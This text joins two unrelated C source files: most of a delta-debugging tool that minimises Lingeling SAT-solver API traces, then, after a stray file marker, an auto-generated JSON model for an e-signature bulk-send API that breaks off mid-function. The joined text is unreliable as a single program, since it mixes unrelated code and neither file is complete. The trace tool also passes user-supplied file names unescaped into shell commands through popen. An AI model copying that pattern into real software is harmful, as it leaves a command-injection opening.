static int remr (Range * r) { return r->removed <= runs; }
static int reme (Event * e) { return e->removed <= runs; }
static void onabort (void * d) { (void) d; exit (0); }
static void process (void) {
int saved1, saved2, null, tmp, res;
struct rlimit rlim;
LGL * lgl;
Event * e;
Opt * o;
rlim.rlim_max = (rlim.rlim_cur = timelimit) + 10;
setrlimit (RLIMIT_CPU, &rlim);
saved1 = dup (1);
saved2 = dup (2);
null = open ("/dev/null", O_WRONLY);
close (1);
close (2);
tmp = dup (null);
assert (tmp == 1);
tmp = dup (null);
assert (tmp == 2);
lgl = 0;
res = 0;
for (e = events; e < events + nevents; e++) {
if (reme (e)) continue;
switch (e->type) {
case ADD: lgladd (lgl, e->arg); break;
case ASSUME: lglassume (lgl, e->arg); break;
case CHKCLONE: lglchkclone (lgl); break;
case DEREF: res = lglderef (lgl, e->arg); break;
case FIXED: res = lglfixed (lgl, e->arg); break;
case FROZEN: res = lglfrozen (lgl, e->arg); break;
case REUSABLE: res = lglreusable (lgl, e->arg); break;
case USABLE: res = lglusable (lgl, e->arg); break;
case REPR: res = lglrepr (lgl, e->arg); break;
case FAILED: res = lglfailed (lgl, e->arg); break;
case FIXATE: lglfixate (lgl); break;
case REDUCE: lglreducecache (lgl); break;
case FLUSH: lglflushcache (lgl); break;
case SETIMPORTANT: lglsetimportant (lgl, e->arg); break;
case SETPHASES: lglsetphases (lgl); break;
case SETPHASE: lglsetphase (lgl, e->arg); break;
case RESETPHASE: lglresetphase (lgl, e->arg); break;
case FREEZE: lglfreeze (lgl, e->arg); break;
case INCONSISTENT: res = lglinconsistent (lgl); break;
case LKHD: res = lglookahead (lgl); break;
case INCVAR: res = lglincvar (lgl); break;
case MAXVAR: res = lglincvar (lgl); break;
case CHANGED: res = lglchanged (lgl); break;
case INIT:
lgl = lglinit ();
lglonabort (lgl, 0, onabort);
if (opts) {
assert (ddopts);
for (o = opts; o < opts + nopts; o++)
lglsetopt (lgl, o->name, o->val);
}
break;
case MELT: lglmelt (lgl, e->arg); break;
case REUSE: lglreuse (lgl, e->arg); break;
case OPTION: if (!opts) lglsetopt (lgl, e->opt, e->arg); break;
case SIMP: res = lglsimp (lgl, e->arg); break;
case RELEASE: lglrelease (lgl); break;
case RETURN:
if (checkreturn) assert (e->arg == res);
break;
case SAT: default:
assert (e->type == SAT);
res = lglsat (lgl);
break;
}
}
close (null);
close (2);// TODO necessary?
close (1);// TODO necessary?
tmp = dup (saved1);
assert (tmp == 1);
tmp = dup (saved2);
assert (tmp == 2);
}
static int run (void) {
int status = 0, id, tmp;
// TODO cache
if ((id = fork ())) {
if (id < 0) die ("can not generate child process");
tmp = wait (&status);
if (tmp != id) die ("'wait' did not return child process");
} else { process (); exit (0); }
runs++;
return status;
}
static int lit (int lit) {
int idx, res;
if (!lit) return 0;
idx = abs (lit);
assert (0 < idx && idx <= nmap);
res = map [idx];
if (lit < 0) res = -res;
return res;
}
static void print (Event * e, FILE * file) {
Opt * o;
switch (e->type) {
case ADD: fprintf (file, "add %d\n", lit (e->arg)); break;
case ASSUME: fprintf (file, "assume %d\n", lit (e->arg)); break;
case CHANGED: fprintf (file, "changed\n"); break;
case CHKCLONE: fprintf (file, "chkclone\n"); break;
case DEREF: fprintf (file, "deref %d\n", lit (e->arg)); break;
case FAILED: fprintf (file, "failed %d\n", lit (e->arg)); break;
case FIXED: fprintf (file, "fixed %d\n", lit (e->arg)); break;
case FROZEN: fprintf (file, "frozen %d\n", lit (e->arg)); break;
case REUSABLE: fprintf (file, "reusable %d\n", lit (e->arg)); break;
case USABLE: fprintf (file, "usable %d\n", lit (e->arg)); break;
case REPR: fprintf (file, "repr %d\n", lit (e->arg)); break;
case FIXATE: fprintf (file, "fixate\n"); break;
case REDUCE: fprintf (file, "reduce\n"); break;
case FLUSH: fprintf (file, "flush\n"); break;
case SETIMPORTANT: fprintf (file, "setimportant %d\n", lit (e->arg)); break;
case SETPHASES: fprintf (file, "setphases\n"); break;
case SETPHASE: fprintf (file, "setphase %d\n", lit (e->arg)); break;
case RESETPHASE: fprintf (file, "resetphase %d\n", lit (e->arg)); break;
case FREEZE: fprintf (file, "freeze %d\n", lit (e->arg)); break;
case INCONSISTENT: fprintf (file, "inconsistent\n"); break;
case LKHD: fprintf (file, "lkhd\n"); break;
case INCVAR: fprintf (file, "incvar\n"); break;
case INIT:
fprintf (file, "init\n");
if (opts) {
assert (ddopts);
for (o = opts; o < opts + nopts; o++)
fprintf (file, "option %s %d\n", o->name, o->val);
}
break;
case MAXVAR: fprintf (file, "maxvar\n"); break;
case MELT: fprintf (file, "melt %d\n", lit (e->arg)); break;
case REUSE: fprintf (file, "reuse %d\n", lit (e->arg)); break;
case OPTION: fprintf (file, "option %s %d\n", e->opt, e->arg); break;
case PHASE: fprintf (file, "phase %d\n", lit (e->arg)); break;
case RELEASE: fprintf (file, "release\n"); break;
case RETURN: fprintf (file, "return %d\n", e->arg); break;
case SIMP: fprintf (file, "simp %d\n", e->arg); break;
case SAT: default:
assert (e->type == SAT);
fprintf (file, "sat\n");
break;
}
}
static const char * type2str (Type type) {
switch (type) {
case ADD: return "add";
case ASSUME: return "assume";
case CHANGED: return "changed";
case CHKCLONE: return "chkclone";
case DEREF: return "deref";
case FAILED: return "failed";
case FIXED: return "fixed";
case FROZEN: return "frozen";
case REUSABLE: return "reusable";
case USABLE: return "usable";
case REPR: return "repr";
case FIXATE: return "fixate";
case REDUCE: return "reduce";
case FLUSH: return "flush";
case FREEZE: return "freeze";
case SETIMPORTANT: return "setimportant";
case SETPHASES: return "setphases";
case SETPHASE: return "setphase";
case RESETPHASE: return "resetphase";
case INCVAR: return "incvar";
case INCONSISTENT: return "inconsistent";
case LKHD: return "lkhd";
case INIT: return "init";
case MAXVAR: return "maxvar";
case MELT: return "melt";
case REUSE: return "REUSE";
case OPTION: return "option";
case PHASE: return "phase";
case RELEASE: return "release";
case RETURN: return "return";
case SIMP: return "simp";
case SAT: default:
assert (type == SAT);
return "sat";
break;
}
}
static void noarg (Type op) {
if (strtok (0, " "))
perr ("argument after '%s'", type2str (op));
event (op, 0, 0);
}
static void newline (void) {
int i;
if (!verbose) return;
if (!isatty (1)) return;
printf ("\r");
for (i = 0; i < 78; i++) fputc (' ', stdout);
printf ("\r");
fflush (stdout);
}
static void prt (int final) {
int close = 0, i, len;
FILE * file;
char * cmd;
unlink (oname);
len = strlen (oname);
if (len >= 3 && !strcmp (oname + len - 3, ".gz")) {
cmd = malloc (len + 20);
sprintf (cmd, "gzip -c > %s", oname);
file = popen (cmd, "w");
if (file) close = 2;
free (cmd);
} else {
file = fopen (oname, "w");
if (file) close = 1;
}
if (!file) die ("can not write to '%s'", oname);
prevents = 0;
for (i = 0; i < nevents; i++) {
if (reme (events + i)) continue;
print (events + i, file);
prevents++;
}
if (close == 2) pclose (file);
if (close == 1) fclose (file);
if (verbose && isatty (1)) {
fputc ('\r', stdout);
for (i = 0; i < 78; i++) fputc (' ', stdout);
fputc ('\r', stdout);
}
msg ("written %s with %d events", oname, prevents);
}
static void dd (void) {
int from, to, rgran, nranges, i, width, j, res, found, pos, changed;
Range * ranges = calloc (nevents, sizeof *ranges), * r;
int * smap, idx, moved, mapto, nused;
Type cluster;
char * used;
Event * e;
RESTART:
prt (0);
changed = 0;
nused = 0;
used = malloc (nmap + 1);
memset (used, 0, nmap + 1);
for (e = events; e < events + nevents; e++) {
if (reme (e)) continue;
idx = 0;
switch (e->type) {
case ADD:
case ASSUME:
case DEREF:
case FAILED:
case FIXED:
case FROZEN:
case REUSABLE:
case USABLE:
case REPR:
case SETIMPORTANT:
case SETPHASE:
case RESETPHASE:
case FREEZE:
case MELT:
case REUSE:
case PHASE:
idx = e->arg;
break;
case INIT:
case OPTION:
case RELEASE:
case RETURN:
case SAT:
case SIMP:
case CHANGED:
case MAXVAR:
case INCVAR:
case INCONSISTENT:
case LKHD:
case FIXATE:
case FLUSH:
case REDUCE:
case CHKCLONE:
case SETPHASES:
break;
}
if (!idx) continue;
idx = abs (idx);
if (used [idx]) continue;
used[idx] = 1;
nused++;
}
if (nused < nmap) {
smap = map;
moved = 0;
mapto = 1;
map = malloc (szmap * sizeof *map);
for (idx = 1; idx <= nmap; idx++) {
if (used[idx]) {
if (smap[idx] != mapto) {
assert (mapto < smap[idx]);
moved++;
}
map[idx] = mapto++;
} else map[idx] = 0;
}
if (!moved) goto DONOTMOVE;
res = run ();
if (res == golden) {
if (verbose > 1) {
newline ();
msg ("moved %d variables", moved);
}
free (smap);
changed = 1;
} else {
DONOTMOVE:
free (map);
map = smap;
}
}
free (used);
for (rgran = 2; rgran >= 0; rgran--) {
from = to = 0;
r = ranges;
for (;;) {
while (from < nevents && reme (events + from))
from++;
if (from == nevents) break;
to = from;
if (rgran == 2) {
cluster = events[from].type;
while (to + 1 < nevents) {
e = events + to + 1;
if (e->type != cluster) {
if (cluster == DEREF && e->type == RETURN) ;
else if (cluster == SAT && e->type == RETURN) { to++; break; }
else break;
} else if (cluster == INIT ||
cluster == SAT ||
cluster == RELEASE) break;
to++;
}
} else if (rgran == 1) {
if (to + 1 < nevents && events[to].type == ADD) {
while (to + 1 < nevents &&
(reme (e = events + to) || (e->type == ADD && e->arg)))
to++;
}
} else {
if (to + 1 < nevents) {
while (to + 1 < nevents && reme (events + to))
to++;
}
}
assert (r < ranges + nevents);
r->from = from;
r->to = to;
r->removed = INT_MAX;
if (verbose > 1) msg ("range %d [%d,%d]", r - ranges, from, to);
if (verbose > 2) {
for (i = from; i <= to; i++) {
e = events + i;
if (reme (e) && verbose < 4) continue;
if (e->type == OPTION)
msg ("range %d [%d] %s %s %d%s",
r - ranges, i, type2str (e->type), e->opt, e->arg,
reme (e) ? " (removed)" : "");
else
msg ("range %d [%d] %s %d%s",
r - ranges, i, type2str (e->type), e->arg,
reme (e) ? " (removed)" : "");
}
}
r++;
from = to + 1;
if (from == nevents) break;
}
nranges = r - ranges;
if (verbose > 1)
msg ("found %d ranges of range granularity %d", nranges, rgran);
width = nranges / 2;
while (width > 0) {
pos = 0;
do {
rep ("g%d w%d : %6d .. %-6d / %d %lld",
rgran, width, pos,
(pos + width <= nranges) ? pos + width - 1 : nranges - 1,
nranges,
sumoptvals);
found = 0;
for (i = pos; i < nranges && i < pos + width; i++) {
r = ranges + i;
if (remr (r)) continue;
r->removed = runs;
found = 0;
for (j = r->from; j <= r->to; j++) {
e = events + j;
if (reme (e)) continue;
found++;
e->removed = runs;
}
assert (found);
}
res = run ();
if (res == golden) {
if (verbose > 1) {
newline ();
msg ("removed %d events", found);
}
changed = 1;
} else {
for (i = pos; i < nranges && i < pos + width; i++) {
r = ranges + i;
if (r->removed < runs - 1) continue;
assert (r->removed == runs - 1);
r->removed = INT_MAX;
for (j = r->from; j <= r->to; j++) {
e = events + j;
assert (e->removed < runs);
if (e->removed == runs - 1) e->removed = INT_MAX;
}
}
}
pos += width;
} while (pos < nranges);
width = (width > 4) ? width/2 : width - 1;
}
if (verbose > 1) newline ();
}
if (ddopts) {
int reported = 0;
Opt * o;
if (!opts) {
void * it;
const char * name;
Opt opt;
LGL * lgl = lglinit ();
it = lglfirstopt (lgl);
while ((it = lglnextopt (lgl, it,
&name, &opt.val, &opt.min, &opt.max))) {
if (!strcmp (name, "log")) continue;
if (!strcmp (name, "check")) continue;
if (!strcmp (name, "verbose")) continue;
if (!strcmp (name, "witness")) continue;
if (!strcmp (name, "exitonabort")) continue;
if (!strcmp (name, "sleeponabort")) continue;
if (nopts == szopts) {
szopts = szopts ? 2*szopts : 1;
opts = realloc (opts, szopts * sizeof *opts);
}
opt.name = strdup (name);
opts[nopts++] = opt;
}
for (e = events; e < events + nevents; e++) {
if (e->type != OPTION) continue;
for (o = opts; o < opts + nopts; o++)
if (!strcmp (e->opt, o->name)) {
o->val = e->arg;
sumoptvals += o->val - (long long) o->min;
}
}
lglrelease (lgl);
}
for (o = opts; o < opts + nopts; o++) {
long long delta = o->val - (long long) o->min;
rep ("o %d / %d %lld ",
o - opts, nopts, sumoptvals);
reported++;
if (o->val > o->min) {
int oldval = o->val;
o->val = o->min;
res = run ();
if (res == golden) {
if (verbose > 1) {
if (reported) newline ();
msg ("reduced option %s from %d to %d by one",
o->name, oldval, o->val);
reported = 0;
}
changed = 1;
sumoptvals--;
} else o->val = oldval;
}
if (delta < 10) {
while (o->val > o->min) {
int oldval = o->val, newval = oldval - 1;
assert (newval >= o->min);
o->val = newval;
res = run ();
if (res != golden) { o->val = oldval; break; }
if (verbose > 1) {
if (reported) newline ();
msg ("reduced option %s from %d to %d by one",
o->name, oldval, newval);
reported = 0;
}
changed = 1;
assert (oldval - newval == 1);
sumoptvals--;
//assert (sumoptvals >= 0);
}
} else {
int upper = o->val;
int lower = o->min;
assert (lower <= upper);
while (upper > lower) {
int oldval = o->val;
long longnewval = lower + ((long)upper - (long)lower)/2;
int newval = (int) longnewval;
o->val = newval;
res = run ();
if (res == golden) {
if (verbose > 1) {
if (reported) newline ();
msg ("reduced %s from %d to %d", o->name, oldval, newval);
reported = 0;
}
changed = 1;
assert (newval < upper);
upper = newval;
sumoptvals -= oldval - newval;
// assert (sumoptvals >= 0);
} else {
o->val = oldval;
if (lower == newval) break;
assert (lower < newval);
lower = newval;
}
}
assert (lower <= upper);
}
if (verbose > 1) {
if (reported) newline ();
msg ("final option %s set to %d", o->name, o->val);
reported = 0;
}
}
if (reported && verbose > 1) newline ();
}
if (changed) goto RESTART;
if (verbose) newline ();
free (ranges);
}
static double getime (void) {
double res = 0;
struct timeval tv;
if (!gettimeofday (&tv, 0)) res = 1e-6 * tv.tv_usec, res += tv.tv_sec;
return res;
}
int main (int argc, char ** argv) {
int i, len, ch, close = 0, count;
char buffer[80], * tok, * opt;
double start, delta;
FILE * file;
start = getime ();
char * cmd;
for (i = 1; i < argc; i++) {
if (!strcmp (argv[i], "-h")) {
printf (
"usage: lglddtrace [-h][-v][-s][-d][-f][-O] <in>[.gz] <out>[.gz]\n");
exit (0);
} else if (!strcmp (argv[i], "-v")) verbose++;
else if (!strcmp (argv[i], "-c")) checkreturn++;
else if (!strcmp (argv[i], "-O")) ddopts++;
else if (argv[i][0] == '-')
die ("invalid command line option '%s' (try '-h')", argv[i]);
else if (oname) die ("two many options pecified (try '-h')");
else if (iname) oname = argv[i];
else iname = argv[i];
}
if (!iname) die ("input file missing");
if (!oname) die ("output file missing");
len = strlen (iname);
if (len >= 3 && !strcmp (iname + len - 3, ".gz")) {
cmd = malloc (len + 20);
sprintf (cmd, "gunzip -c %s", iname);
file = popen (cmd, "r");
free (cmd);
if (file) close = 2;
} else {
file = fopen (iname, "r");
if (file) close = 1;
}
if (!file) die ("can not read '%s'", iname);
msg ("reading %s", iname);
buffer[len = 0] = 0;
lineno = 1;
count = 0;
NEXT:
ch = getc (file);
if (ch == EOF) goto DONE;
if (ch == '\r') goto NEXT;
if (ch != '\n') {
if (len + 1 >= sizeof (buffer)) perr ("line buffer exceeded");
buffer[len++] = ch;
buffer[len] = 0;
goto NEXT;
}
if (verbose > 2) msg ("line %d : %s", lineno, buffer);
if (!(tok = strtok (buffer, " "))) perr ("empty line");
else if (!strcmp (tok, "add")) event (ADD, intarg ("add"), 0);
else if (!strcmp (tok, "return")) event (RETURN, intarg ("return"), 0);
else if (!strcmp (tok, "deref")) event (DEREF, intarg ("deref"), 0);
else if (!strcmp (tok, "fixed")) event (FIXED, intarg ("fixed"), 0);
else if (!strcmp (tok, "frozen")) event (FROZEN, intarg ("frozen"), 0);
else if (!strcmp (tok, "reusable")) event (REUSABLE, intarg ("reusable"), 0);
else if (!strcmp (tok, "usable")) event (USABLE, intarg ("usable"), 0);
else if (!strcmp (tok, "repr")) event (REPR, intarg ("repr"), 0);
else if (!strcmp (tok, "failed")) event (FAILED, intarg ("failed"), 0);
else if (!strcmp (tok, "assume")) event (ASSUME, intarg ("assume"), 0);
else if (!strcmp (tok, "phase")) event (PHASE, intarg ("phase"), 0);
else if (!strcmp (tok, "init")) noarg (INIT);
else if (!strcmp (tok, "sat")) noarg (SAT);
else if (!strcmp (tok, "simp")) event (SIMP, intarg ("simp"), 0);
else if (!strcmp (tok, "setphases")) noarg (SETPHASES);
else if (!strcmp (tok, "freeze")) event (FREEZE, intarg ("freeze"), 0);
else if (!strcmp (tok, "setimportant"))
event (SETIMPORTANT, intarg ("setimportant"), 0);
else if (!strcmp (tok, "setphase")) event (SETPHASE, intarg ("setphase"), 0);
else if (!strcmp (tok, "resetphase"))
event (SETPHASE, intarg ("resetphase"), 0);
else if (!strcmp (tok, "melt")) event (MELT, intarg ("melt"), 0);
else if (!strcmp (tok, "reuse")) event (REUSE, intarg ("reuse"), 0);
else if (!strcmp (tok, "option")) {
if (!(opt = strtok (0, " "))) perr ("option iname missing");
event (OPTION, intarg ("option"), opt);
} else if (!strcmp (tok, "release")) noarg (RELEASE);
else if (!strcmp (tok, "incvar")) noarg (INCVAR);
else if (!strcmp (tok, "maxvar")) noarg (MAXVAR);
else if (!strcmp (tok, "inconsistent")) noarg (INCONSISTENT);
else if (!strcmp (tok, "lkhd")) noarg (LKHD);
else if (!strcmp (tok, "fixate")) noarg (FIXATE);
else if (!strcmp (tok, "reduce")) noarg (REDUCE);
else if (!strcmp (tok, "flush")) noarg (FLUSH);
else if (!strcmp (tok, "chkclone")) noarg (CHKCLONE);
else if (!strcmp (tok, "changed")) noarg (CHANGED);
else perr ("invalid command '%s'", tok);
lineno++;
count++;
len = 0;
goto NEXT;
DONE:
if(close == 1) fclose (file);
if(close == 2) pclose (file);
msg ("parsed %d events in %s", count, iname);
golden = run ();
timelimit =
delta = getime () - start;
if (delta < 0) delta = 0;
msg ("golden exit code %d in %.3f seconds", golden, delta);
timelimit = delta;
if (timelimit <= 0) timelimit = 1;
timelimit *= 100;
msg ("time limit %d seconds", timelimit);
dd ();
prt (1);
for (i = 0; i < nevents; i++) free (events[i].opt);
free (events);
for (i = 0; i < nopts; i++) free (opts[i].name);
free (opts);
msg ("executed %d runs in %.3f seconds", runs, getime () - start);
return 0;
}
|
244075.c | #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "ezsignbulksend_response_compound.h"
ezsignbulksend_response_compound_t *ezsignbulksend_response_compound_create(
int pki_ezsignbulksend_id,
int fki_ezsignfoldertype_id,
int fki_language_id,
char *s_language_name_x,
char *s_ezsignfoldertype_name_x,
char *s_ezsignbulksend_description,
char *t_ezsignbulksend_note,
int b_ezsignbulksend_needvalidation,
int b_ezsignbulksend_isactive,
common_audit_t *obj_audit,
list_t *a_obj_ezsignbulksenddocumentmapping,
list_t *a_obj_ezsignbulksendsignermapping
) {
ezsignbulksend_response_compound_t *ezsignbulksend_response_compound_local_var = malloc(sizeof(ezsignbulksend_response_compound_t));
if (!ezsignbulksend_response_compound_local_var) {
return NULL;
}
ezsignbulksend_response_compound_local_var->pki_ezsignbulksend_id = pki_ezsignbulksend_id;
ezsignbulksend_response_compound_local_var->fki_ezsignfoldertype_id = fki_ezsignfoldertype_id;
ezsignbulksend_response_compound_local_var->fki_language_id = fki_language_id;
ezsignbulksend_response_compound_local_var->s_language_name_x = s_language_name_x;
ezsignbulksend_response_compound_local_var->s_ezsignfoldertype_name_x = s_ezsignfoldertype_name_x;
ezsignbulksend_response_compound_local_var->s_ezsignbulksend_description = s_ezsignbulksend_description;
ezsignbulksend_response_compound_local_var->t_ezsignbulksend_note = t_ezsignbulksend_note;
ezsignbulksend_response_compound_local_var->b_ezsignbulksend_needvalidation = b_ezsignbulksend_needvalidation;
ezsignbulksend_response_compound_local_var->b_ezsignbulksend_isactive = b_ezsignbulksend_isactive;
ezsignbulksend_response_compound_local_var->obj_audit = obj_audit;
ezsignbulksend_response_compound_local_var->a_obj_ezsignbulksenddocumentmapping = a_obj_ezsignbulksenddocumentmapping;
ezsignbulksend_response_compound_local_var->a_obj_ezsignbulksendsignermapping = a_obj_ezsignbulksendsignermapping;
return ezsignbulksend_response_compound_local_var;
}
void ezsignbulksend_response_compound_free(ezsignbulksend_response_compound_t *ezsignbulksend_response_compound) {
if(NULL == ezsignbulksend_response_compound){
return ;
}
listEntry_t *listEntry;
if (ezsignbulksend_response_compound->s_language_name_x) {
free(ezsignbulksend_response_compound->s_language_name_x);
ezsignbulksend_response_compound->s_language_name_x = NULL;
}
if (ezsignbulksend_response_compound->s_ezsignfoldertype_name_x) {
free(ezsignbulksend_response_compound->s_ezsignfoldertype_name_x);
ezsignbulksend_response_compound->s_ezsignfoldertype_name_x = NULL;
}
if (ezsignbulksend_response_compound->s_ezsignbulksend_description) {
free(ezsignbulksend_response_compound->s_ezsignbulksend_description);
ezsignbulksend_response_compound->s_ezsignbulksend_description = NULL;
}
if (ezsignbulksend_response_compound->t_ezsignbulksend_note) {
free(ezsignbulksend_response_compound->t_ezsignbulksend_note);
ezsignbulksend_response_compound->t_ezsignbulksend_note = NULL;
}
if (ezsignbulksend_response_compound->obj_audit) {
common_audit_free(ezsignbulksend_response_compound->obj_audit);
ezsignbulksend_response_compound->obj_audit = NULL;
}
if (ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping) {
list_ForEach(listEntry, ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping) {
ezsignbulksenddocumentmapping_response_compound_free(listEntry->data);
}
list_freeList(ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping);
ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping = NULL;
}
if (ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping) {
list_ForEach(listEntry, ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping) {
ezsignbulksendsignermapping_response_free(listEntry->data);
}
list_freeList(ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping);
ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping = NULL;
}
free(ezsignbulksend_response_compound);
}
cJSON *ezsignbulksend_response_compound_convertToJSON(ezsignbulksend_response_compound_t *ezsignbulksend_response_compound) {
cJSON *item = cJSON_CreateObject();
// ezsignbulksend_response_compound->pki_ezsignbulksend_id
if (!ezsignbulksend_response_compound->pki_ezsignbulksend_id) {
goto fail;
}
if(cJSON_AddNumberToObject(item, "pkiEzsignbulksendID", ezsignbulksend_response_compound->pki_ezsignbulksend_id) == NULL) {
goto fail; //Numeric
}
// ezsignbulksend_response_compound->fki_ezsignfoldertype_id
if (!ezsignbulksend_response_compound->fki_ezsignfoldertype_id) {
goto fail;
}
if(cJSON_AddNumberToObject(item, "fkiEzsignfoldertypeID", ezsignbulksend_response_compound->fki_ezsignfoldertype_id) == NULL) {
goto fail; //Numeric
}
// ezsignbulksend_response_compound->fki_language_id
if (!ezsignbulksend_response_compound->fki_language_id) {
goto fail;
}
if(cJSON_AddNumberToObject(item, "fkiLanguageID", ezsignbulksend_response_compound->fki_language_id) == NULL) {
goto fail; //Numeric
}
// ezsignbulksend_response_compound->s_language_name_x
if (!ezsignbulksend_response_compound->s_language_name_x) {
goto fail;
}
if(cJSON_AddStringToObject(item, "sLanguageNameX", ezsignbulksend_response_compound->s_language_name_x) == NULL) {
goto fail; //String
}
// ezsignbulksend_response_compound->s_ezsignfoldertype_name_x
if (!ezsignbulksend_response_compound->s_ezsignfoldertype_name_x) {
goto fail;
}
if(cJSON_AddStringToObject(item, "sEzsignfoldertypeNameX", ezsignbulksend_response_compound->s_ezsignfoldertype_name_x) == NULL) {
goto fail; //String
}
// ezsignbulksend_response_compound->s_ezsignbulksend_description
if (!ezsignbulksend_response_compound->s_ezsignbulksend_description) {
goto fail;
}
if(cJSON_AddStringToObject(item, "sEzsignbulksendDescription", ezsignbulksend_response_compound->s_ezsignbulksend_description) == NULL) {
goto fail; //String
}
// ezsignbulksend_response_compound->t_ezsignbulksend_note
if (!ezsignbulksend_response_compound->t_ezsignbulksend_note) {
goto fail;
}
if(cJSON_AddStringToObject(item, "tEzsignbulksendNote", ezsignbulksend_response_compound->t_ezsignbulksend_note) == NULL) {
goto fail; //String
}
// ezsignbulksend_response_compound->b_ezsignbulksend_needvalidation
if (!ezsignbulksend_response_compound->b_ezsignbulksend_needvalidation) {
goto fail;
}
if(cJSON_AddBoolToObject(item, "bEzsignbulksendNeedvalidation", ezsignbulksend_response_compound->b_ezsignbulksend_needvalidation) == NULL) {
goto fail; //Bool
}
// ezsignbulksend_response_compound->b_ezsignbulksend_isactive
if (!ezsignbulksend_response_compound->b_ezsignbulksend_isactive) {
goto fail;
}
if(cJSON_AddBoolToObject(item, "bEzsignbulksendIsactive", ezsignbulksend_response_compound->b_ezsignbulksend_isactive) == NULL) {
goto fail; //Bool
}
// ezsignbulksend_response_compound->obj_audit
if (!ezsignbulksend_response_compound->obj_audit) {
goto fail;
}
cJSON *obj_audit_local_JSON = common_audit_convertToJSON(ezsignbulksend_response_compound->obj_audit);
if(obj_audit_local_JSON == NULL) {
goto fail; //model
}
cJSON_AddItemToObject(item, "objAudit", obj_audit_local_JSON);
if(item->child == NULL) {
goto fail;
}
// ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping
if (!ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping) {
goto fail;
}
cJSON *a_obj_ezsignbulksenddocumentmapping = cJSON_AddArrayToObject(item, "a_objEzsignbulksenddocumentmapping");
if(a_obj_ezsignbulksenddocumentmapping == NULL) {
goto fail; //nonprimitive container
}
listEntry_t *a_obj_ezsignbulksenddocumentmappingListEntry;
if (ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping) {
list_ForEach(a_obj_ezsignbulksenddocumentmappingListEntry, ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping) {
cJSON *itemLocal = ezsignbulksenddocumentmapping_response_compound_convertToJSON(a_obj_ezsignbulksenddocumentmappingListEntry->data);
if(itemLocal == NULL) {
goto fail;
}
cJSON_AddItemToArray(a_obj_ezsignbulksenddocumentmapping, itemLocal);
}
}
// ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping
if (!ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping) {
goto fail;
}
cJSON *a_obj_ezsignbulksendsignermapping = cJSON_AddArrayToObject(item, "a_objEzsignbulksendsignermapping");
if(a_obj_ezsignbulksendsignermapping == NULL) {
goto fail; //nonprimitive container
}
listEntry_t *a_obj_ezsignbulksendsignermappingListEntry;
if (ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping) {
list_ForEach(a_obj_ezsignbulksendsignermappingListEntry, ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping) {
cJSON *itemLocal = ezsignbulksendsignermapping_response_convertToJSON(a_obj_ezsignbulksendsignermappingListEntry->data);
if(itemLocal == NULL) {
goto fail;
}
cJSON_AddItemToArray(a_obj_ezsignbulksendsignermapping, itemLocal);
}
}
return item;
fail:
if (item) {
cJSON_Delete(item);
}
return NULL;
}
ezsignbulksend_response_compound_t *ezsignbulksend_response_compound_parseFromJSON(cJSON *ezsignbulksend_response_compoundJSON){
ezsignbulksend_response_compound_t *ezsignbulksend_response_compound_local_var = NULL;
// define the local variable for ezsignbulksend_response_compound->obj_audit
common_audit_t *obj_audit_local_nonprim = NULL;
// define the local list for ezsignbulksend_response_compound->a_obj_ezsignbulksenddocumentmapping
list_t *a_obj_ezsignbulksenddocumentmappingList = NULL;
// define the local list for ezsignbulksend_response_compound->a_obj_ezsignbulksendsignermapping
list_t *a_obj_ezsignbulksendsignermappingList = NULL;
// ezsignbulksend_response_compound->pki_ezsignbulksend_id
cJSON *pki_ezsignbulksend_id = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "pkiEzsignbulksendID");
if (!pki_ezsignbulksend_id) {
goto end;
}
if(!cJSON_IsNumber(pki_ezsignbulksend_id))
{
goto end; //Numeric
}
// ezsignbulksend_response_compound->fki_ezsignfoldertype_id
cJSON *fki_ezsignfoldertype_id = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "fkiEzsignfoldertypeID");
if (!fki_ezsignfoldertype_id) {
goto end;
}
if(!cJSON_IsNumber(fki_ezsignfoldertype_id))
{
goto end; //Numeric
}
// ezsignbulksend_response_compound->fki_language_id
cJSON *fki_language_id = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "fkiLanguageID");
if (!fki_language_id) {
goto end;
}
if(!cJSON_IsNumber(fki_language_id))
{
goto end; //Numeric
}
// ezsignbulksend_response_compound->s_language_name_x
cJSON *s_language_name_x = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "sLanguageNameX");
if (!s_language_name_x) {
goto end;
}
if(!cJSON_IsString(s_language_name_x))
{
goto end; //String
}
// ezsignbulksend_response_compound->s_ezsignfoldertype_name_x
cJSON *s_ezsignfoldertype_name_x = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "sEzsignfoldertypeNameX");
if (!s_ezsignfoldertype_name_x) {
goto end;
}
if(!cJSON_IsString(s_ezsignfoldertype_name_x))
{
goto end; //String
}
// ezsignbulksend_response_compound->s_ezsignbulksend_description
cJSON *s_ezsignbulksend_description = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "sEzsignbulksendDescription");
if (!s_ezsignbulksend_description) {
goto end;
}
if(!cJSON_IsString(s_ezsignbulksend_description))
{
goto end; //String
}
// ezsignbulksend_response_compound->t_ezsignbulksend_note
cJSON *t_ezsignbulksend_note = cJSON_GetObjectItemCaseSensitive(ezsignbulksend_response_compoundJSON, "tEzsignbulksendNote");
if (!t_ezsignbulksend_note) {
goto end;
}
if(!cJSON_IsString(t_ezsignbulksend_note))
{
goto end; //String
}
// ezsignbulksend_response_compound->b_ezsignbulksend_needvalidation
